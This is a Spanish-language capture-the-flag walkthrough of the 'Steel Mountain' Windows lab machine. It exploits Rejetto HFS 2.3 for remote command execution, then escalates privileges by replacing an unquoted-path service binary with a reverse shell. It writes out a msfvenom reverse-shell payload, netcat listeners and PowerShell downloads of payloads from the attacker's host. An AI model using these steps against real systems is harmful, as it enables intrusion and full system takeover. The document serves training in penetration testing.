Steel Mountain



24/10/2021

Enumeration

Whatweb

whatweb 10.10.175.163

http://10.10.175.163 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/8.5], IP[10.10.175.163], Microsoft-IIS[8.5]

WhichSystem.py

mediante el tty, sabemos que es una maquina Windows 10.10.175.163 (ttl -> 125): Windows

nmap

sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.175.163 -oG allPorts

```
        PORT
        STATE SERVICE
        REASON

        80/tcp
        open
        http
        syn-ack ttl 125

        139/tcp
        open
        msrpc
        syn-ack ttl 125

        139/tcp
        open
        metbios-ssn
        syn-ack ttl 125

        445/tcp
        open
        microsoft-ds
        syn-ack ttl 125

        3389/tcp
        open
        ms-wbt-server syn-ack ttl 125

        985/tcp
        open
        http-proxy
        syn-ack ttl 125

        8080/tcp
        open
        http-proxy
        syn-ack ttl 125

        49152/tcp
        open
        unknown
        syn-ack ttl 125

        49153/tcp
        open
        unknown
        syn-ack ttl 125

        49153/tcp
        open
        unknown
        syn-ack ttl 125

        49163/tcp
        open
        unknown
        syn-ack ttl 125

        49164/tcp
        open
        un
```

descubrimos 15 puertos de los cuales 4 son conocido

ahora mediante descubrimiento de vulnerabilidades

sudo nmap -sC -sV -p80,135,139,445,3389,5985,8080,47001,49152,49153,49154,49155,49157,49163,49164 10.10.175.163 -oN Vulenrabilidades

```
PORT STATE SERVICE
                           VERSION
80/tcp open http
                          Microsoft IIS httpd 8.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
| rdp-ntlm-info:
  Target_Name: STEELMOUNTAIN
  NetBIOS Domain Name: STEELMOUNTAIN
  NetBIOS_Computer_Name: STEELMOUNTAIN
  DNS Domain Name: steelmountain
  DNS_Computer_Name: steelmountain
  Product_Version: 6.3.9600
_ System_Time: 2021-10-26T00:43:19+00:00
ssl-cert: Subject: commonName=steelmountain
Not valid before: 2021-10-25T00:27:35
|_Not valid after: 2022-04-26T00:27:35
_ssl-date: 2021-10-26T00:43:24+00:00; -1s from scanner time.
```

```
5985/tcp open http
                          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8080/tcp open http
                          HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
47001/tcp open http
                           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
_http-title: Not Found
49152/tcp open msrpc
                            Microsoft Windows RPC
49153/tcp open msrpc
                            Microsoft Windows RPC
                            Microsoft Windows RPC
49154/tcp open msrpc
                            Microsoft Windows RPC
49155/tcp open msrpc
49157/tcp open msrpc
                            Microsoft Windows RPC
                            Microsoft Windows RPC
49163/tcp open msrpc
49164/tcp open msrpc
                            Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
|_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: <unknown>, NetBIOS MAC: 02:73:a3:55:c9:73 (unknown)
smb-security-mode:
  authentication_level: user
  challenge\_response: supported
|_ message_signing: disabled (dangerous, but default)
smb2-security-mode:
Message signing enabled but not required
smb2-time:
  date: 2021-10-26T00:43:18
_ start_date: 2021-10-26T00:27:26
```

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 94.63 seconds

entramos a los dos sitios web

http://10.10.175.163

encontramos un sitio web inteccionamos la pagina pero no encontramos nada

impeccionamos la imagen y vemos que se llama Bill Harper posible usuario





ahora entramos a la pagina donde esta corriendo el web server

http://10.10.175.162:8080



por lo que vemos que esta ejecutando Rejetto HTTP File Server como servidor de archivos

Buscamos el exploit

searchsploit "Rejetto Http File Server" searchsploit -t Rejetto Http File Server

Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit) Rejetto HTTP File Server (HFS) 1.5/2.x. - Multiple Vulnerabilities Rejetto HTTP File Server (HFS) 1.5/2.x. - Multiple Tile Upload Rejetto HTTP File Server (HFS) 2.3.x. - Remote Command Execution (1) Rejetto HTTP File Server (HFS) 2.3.x. - Remote Command Execution (2) Rejetto HTTP File Server (HFS) 2.3.x. - Remote Command Execution Rejetto HTTP File Server (HFS) 2.3.x. - Remote Command Execution Rejetto HTTP File Server (HFS) 2.3.x. - Remote Command Execution (3)

| windows/remote/34926.fb | windows/remote/31056.py | multiple/remote/30850.txt | windows/remote/34668.txt | windows/remote/3461.py | windows/webaps/34852.txt | windows/webaps/49125.py

Shellcodes: No Results
Paners: No Results

vemos la ruta completa

searchsploit -p windows/remote/34926.rb

Exploit: Rejetto HTTP File Server (HFS) - Remote Command Execution (Metasploit)
URL: https://www.exploit-db.com/exploits/34926
Path: /usr/share/exploitdb/exploits/windows/remote/34926.rb
File Type: Ruby script, ASCII text

Copied EDB-ID #34926's path to the clipboard

copiamos el sploit

searchsploit -m /usr/share/exploitdb/exploits/windows/remote/34926.rb

Explotation

iniciamos metasplot



Matching Modules

Name Disclosure Date Rank Check Description

0 exploit/windows/http/rejetto_hfs_exec 2014-09-11 excellent Yes Rejetto HttpFileServer Remote Command Execution

use0 show options

solo se requiere el RHOSTS, RPORT, SRVPORT, cambiar el LHOST,

set RHOSTS 10.10.175.163

set RPORT 8080

set srvport 9090

set LHOST 10.13.14.123

Obteniendo acceso a usuario normal

run -j

esperamos a que se ejecute

y nos carga una shell de windows vemos que usuario somos

getuid

Server username: STEELMOUNTAIN\bill

por lo que no tenemos privilegios

buscamos la flag

pwd

C:\Users\bill\Desktop

cat user.txt

obetenemos la bandera

b04763b6fcf51fcd7c13abc7db4fd365

Obteniendo acceso a usuario root con metasploit

usaremos PowerUp para evaluar una maquina windows y determinar cualquier anomaliar, PowerUp tien como objetivo ser una camara de compensacion de los vectores de escalada de privilegios de Windows comunes que se basan en configuraciones incorrectas

lo podemos descargar a nuestra maquina

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

lo subimos anuestra maquina de mestasploit

upload PowerUp.ps1

para ejecutar el archivo, esto es usando meterpreter, escribimos

load powershell

ingresamos a powershell powershell shell

y tenemos una consola powershell

ejecutamos el Powerup.ps1

PS > . .\PowerUp.ps1 PS > Invoke-AllChecks

ServiceName : AdvancedSystemCareService9

Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

 $Modifiable Path : @\{Modifiable Path = C: \ | Identity Reference = BUILTIN \ | Users; Permissions = Append Data/Add Subdirectory\} \\$

StartName : LocalSystem

AbuseFunction: Write-ServiceBinary-Name 'AdvancedSystemCareService9' -Path <HijackPath>

CanRestart : True

Name : AdvancedSystemCareService9
Check : Unquoted Service Paths

ServiceName : AdvancedSystemCareService9

Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

 $Modifiable Path: @\{Modifiable Path=C:\c | Identity Reference=BUILTIN\c Users; Permissions=Write Data/AddFile\}\\$

StartName : LocalSystem

 $\underline{ AbuseFunction : Write-ServiceBinary - Name 'AdvancedSystemCareService9' - Path < HijackPath > 100 - Path < HijackPath$

CanRestart : True

Name : AdvancedSystemCareService9
Check : Unquoted Service Paths

ServiceName : AdvancedSystemCareService9

Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

 $Modifiable Path: @\{Modifiable Path=C: \program Files (x86) \properties (x86) \prop$

Permissions=System.Object[]}

StartName : LocalSystem

AbuseFunction: Write-ServiceBinary-Name 'AdvancedSystemCareService9' -Path <HijackPath>

CanRestart : True

Name : AdvancedSystemCareService9
Check : Unquoted Service Paths

ServiceName : AdvancedSystemCareService9

Path : C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

ModifiablePath : @{ModifiablePath=C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe;

IdentityReference=STEELMOUNTAIN\bill; Permissions=System.Object[]}

StartName : LocalSystem

AbuseFunction: Write-ServiceBinary -Name 'AdvancedSystemCareService9' -Path <HiiackPath>

CanRestart : True

Name : AdvancedSystemCareService9
Check : Unquoted Service Paths

cuando ponemos atencion en CanRestart y es True, nos permite reiniciar un servicio en el sistema, el directorio de la aplicacion tambien se puede escribir. Esto significa que podemos reemplazar la aplicacion legitima con nuestra aplicacion maliciosa, reiniciar el servicio,

ahora utilizaremos msfvenom para generar un shell inverso como ejecutable de Windows

msfvenom -p windows/shell_reverse_tcp LHOST=10.13.14.123 LPORT=443 -e x86/shikata_ga_nai -f exe -o shell_1.exe

cargamos el shell reverse

upload shell 1.exe

background

nos ponemos en segundo plano para crear un listener

nc -lvnp 443

Volvemos a nuestra maquina victima

msf6 exploit(multi/handler) > sessions

Active sessions

Id Name Type Information Connection

1 meterpreter x86/windows STEELMOUNTAIN\bill @ STEELMOUNTAIN 10.13.14.123:4444 -> 10.10.175.163:49403 (10.10.175.163)

msf6 exploit(multi/handler) > sessions -i 1

[*] Starting interaction with 1...

cargamos de nuevo nuestra powershell

meterpreter > load powershell
[!] The "powershell" extension has already been loaded.
meterpreter > powershell_shell

vemos que hay en la diguiente ruta

PS > dir "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

Directory: C:\Program Files (x86)\IObit\Advanced SystemCare

Mode LastWriteTime Length Name
----a--- 7/25/2016 10:01 AM 452384 ASCService.exe

vemos que esta el archivo que tenemos que reemplazar

PS > copy shell_1.exe"C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe'

ERROR: copy: The process cannot access the file 'C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe' because it

ERROR: is being used by another process.

ERROR: At line:1 char:1

 $ERROR: + copy \ shell \ _1. exe \ "C:\ Program \ Files \ (x86) \ \ IObit \ Advanced \ System Care \ ASC Service. e...$

ERROR: + CategoryInfo : NotSpecified: (:) [Copy-Item], IOException

ERROR:

sin embargo no nos deja, por lo que tenemos que parar el servicio

stop-service AdvancedSystemCareService9

comprobamos que el servicio paro

PS > get-service AdvancedSystemCareService9

Status Name DisplayName
----Stopped AdvancedSystemC... Advanced SystemCare Service 9

volvemos a ejecutar el copy

PS > copy shell_1.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

para comprobar que se reemplazo el archivo vemos de nuevo la carpeta

PS > dir "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe'

Directory: C:\Program Files (x86)\IObit\Advanced SystemCare

Y vemos por medio del tama; o del archivo que se cambio correctamente

ahora volvemos a iniciar el servidor que anteriormente habiamos parado

start-service AdvancedSystemCareService9

y vemos que nuestra reverse shell funciono y tenemos acceso al servicio como root nos vamos al directorio Adminsitrator

cd Users\Administrator\Desktop> C:\Users\Administrator\Desktop>dir

root.txt

C:\Users\Administrator\Desktop>type root.txt

obetenemos la bandera 9af5f314f57607c00fd09803a587db80

Obteniendo acceso a usuario root sin metasploit

usaremos linpeas para enumerar los vectores buscaremos primero el sploit



escogemos el sploit mas actual

searchsploit -m windows/remote/39161.py

nombramos el sploit

mv 39161.py exploit.py

descargamos el binario de netcat

https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe

lo guardamos en la misma carpeta donde esta el exploit

lo reenombramos el ncat.exe mv ncat.exe nc.exe

montamos un servidor web en otra terminal

sudo python3 -m http.server 80

montamos un listener en otra terminal

sudo nc -lvnp 80

```
| Section | Column |
```

podemos ver los servicios que esta corriendo windows manualmente

powershell -c Get-Service

Status I	Name DisplayName
 Running	AdvancedSystemC Advanced SystemCare Service 9
_	AeLookupSvc Application Experience
Stopped	
_	AmazonSSMAgent Amazon SSM Agent
_	ApplostSvc Application Host Helper Service ApplDSvc Application Identity
Stopped	
	AppMgmt Application Management
	AppReadiness App Readiness
	AppXSvc AppX Deployment Service (AppXSVC)
Stopped	AudioEndpointBu Windows Audio Endpoint Builder
	Audiosrv Windows Audio
_	AWSLiteAgent AWS Lite Guest Agent
Running	3 3
Stopped	
_	BrokerInfrastru Background Tasks Infrastructure Ser Browser Computer Browser
	CertPropSvc Certificate Propagation
	COMSysApp COM+ System Application
	CryptSvc Cryptographic Services
Running	DcomLaunch DCOM Server Process Launcher
Stopped	defragsvc Optimize drives
Stopped	DeviceAssociati Device Association Service
	DeviceInstall Device Install Service
Running	
-	Dnscache DNS Client
Stopped	
Running Running	
_	Eaphost Extensible Authentication Protocol
	Ec2Config Ec2Config
Stopped	
	EventLog Windows Event Log
Running	EventSystem COM+ Event System
Stopped	
	FDResPub Function Discovery Resource Publica
_	FontCache Windows Font Cache Service
Running	
Stopped	
Stopped	hkmsvc Health Key and Certificate Managemen IEEtwCollectorS Internet Explorer ETW Collector Ser
Running	·
	IObitUnSvr IObit Uninstaller Service
	iphlpsvc IP Helper
Stopped	
Stopped	
Stopped	KtmRm for Distributed Transaction C
	LanmanServer Server
	LanmanWorkstation Workstation
	LiveUpdateSvc LiveUpdate
Stopped	
_	Imhosts TCP/IP NetBIOS Helper
Running Stopped	
Running	
Running	•
	MSiSCSI Microsoft iSCSI Initiator Service
	msiserver Windows Installer
	napagent Network Access Protection Agent
Stopped	
Stopped	Netlogon Netlogon
	Netman Network Connections
_	netprofm Network List Service
	NetTcpPortSharing Net.Tcp Port Sharing Service
Running	
Running	
σιομμεα	PerfHost Performance Counter DLL Host

Stopped pla Performance Logs & Alerts

Running PlugPlay Plug and Play Running PolicyAgent IPsec Policy Agent

Running Power

Stopped PrintNotify **Printer Extensions and Notifications**

Running ProfSvc User Profile Service Stopped PsShutdownSvc PsShutdown

Stopped RasAuto Remote Access Auto Connection Manager Stopped RasMan Remote Access Connection Manager Routing and Remote Access Stopped RemoteAccess Remote Registry Stopped RemoteRegistry Running RpcEptMapper RPC Endpoint Mapper Stopped RpcLocator Remote Procedure Call (RPC) Locator

Remote Procedure Call (RPC) Runnina RpcSs Stopped RSoPProv Resultant Set of Policy Provider Special Administration Console Helper Stopped sacsvr Security Accounts Manager Runnina SamSs

Smart Card Stopped SCardSvr

Stopped ScDeviceEnum Smart Card Device Enumeration Service

Running Schedule Task Scheduler

Stopped SCPolicySvc Smart Card Removal Policy

Stopped seclogon Secondary Logon

Running SENS System Event Notification Service Running SessionEnv Remote Desktop Configuration Stopped SharedAccess Internet Connection Sharing (ICS) Running ShellHWDetection Shell Hardware Detection Stopped smphost Microsoft Storage Spaces SMP

Stopped SNMPTRAP SNMP Trap Running Spooler Print Spooler Stopped sppsvc Software Protection Stopped SSDPSRV SSDP Discovery

Stopped SstpSvc Secure Socket Tunneling Protocol Se...

Stopped svsvc Spot Verifier

Stopped swpry Microsoft Software Shadow Copy Prov...

Stopped SysMain Superfetch

Running SystemEventsBroker System Events Broker

Stopped TapiSrv Telephony

Running TermService Remote Desktop Services

Running Themes Themes

Stopped THREADORDER Thread Ordering Server Stopped TieringEngineSe... Storage Tiers Management Running TrkWks Distributed Link Tracking Client Stopped TrustedInstaller Windows Modules Installer Running UALSVC User Access Logging Service Stopped UIODetect Interactive Services Detection

Running UmRdpService Remote Desktop Services UserMode Po...

Stopped upnphost **UPnP Device Host** Stopped VaultSvc Credential Manager Virtual Disk Stopped vds

Stopped vmicguestinterface Hyper-V Guest Service Interface Stopped vmicheartbeat Hyper-V Heartbeat Service Stopped vmickvpexchange Hyper-V Data Exchange Service Hyper-V Remote Desktop Virtualizati... Stopped vmicrdv Stopped vmicshutdown Hyper-V Guest Shutdown Service Stopped vmictimesync Hyper-V Time Synchronization Service Stopped vmicvss Hyper-V Volume Shadow Copy Requestor

Stopped VSS Volume Shadow Copy Running W32Time Windows Time Stopped w3logsvc W3C Logging Service

Running W3SVC World Wide Web Publishing Service Running WAS Windows Process Activation Service Running Wcmsvc Windows Connection Manager Stopped WcsPlugInService Windows Color System Stopped WdiServiceHost Diagnostic Service Host Stopped WdiSystemHost Diagnostic System Host Stopped Wecsvc Windows Event Collector

Stopped WEPHOSTSVC Windows Encryption Provider Host Se... Stopped wercplsupport Problem Reports and Solutions Contr...

Stopped WerSvc Windows Error Reporting Service

Running WinHttpAutoProx... WinHTTP Web Proxy Auto-Discovery Se... Running Winmgmt Windows Management Instrumentation Running WinRM Windows Remote Management (WS-Manag...

Stopped wmiApSrv WMI Performance Adapter

Stopped WPDBusEnum Portable Device Enumerator Service Stopped WSService Windows Store Service (WSService)

Stopped wuauserv Windows Update

Stopped wudfsvc Windows Driver Foundation - User-mo...

ahora cargaremos WinPEASx86 a la maquina objetivo

C:\Users\bill\Desktop>powershell -c wget "http://10.13.14.123:80/winPEASx86.exe" -outfile win.exe

comprobamos que se cargo



09/27/2019 05:42 AM 70 user.txt 10/25/2021 11:45 PM 1,926,144 win.exe 2 File(s) 1,926,214 bytes 2 Dir(s) 44,150,652,928 bytes free

Ahora ejecutamos winPEAS

win.exe

cuando termina de ejecutarse podemos ver que tenemos posibles servicios que podemos eplotar

Services Information

☑ Interesting Services -non Microsoft-

Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services

AdvancedSystemCareService9(IObit - Advanced SystemCare Service 9)[C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe] - Auto - Running - No quotes and Spa

ce detected

File Permissions: bill [WriteData/CreateFiles]

ahora generamos un payload

regresamos a nuestra maquina vistima

paramos los servicios que winPEAS nos proporciono sc stop AdvancedSystemCareService9

cargamos el payload generado

powershell -c wget "http://10.13.14.123:80/shell_2.exe" -outfile shell_2.exe

copiamos el payload generado a la ruta que nos mando winPEAS

copy shell_2.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe" copy shell_2.exe "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

comprobamos que se cargo correctamente dir "C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe"

Ponemos en escucha nuestra maquina nc -lvnp 6666

Volvemos a poner activo los servicios

sc start AdvancedSystemCareService9

Nos vamos a nuestro listener y vemos que tenemos acceso con privilegios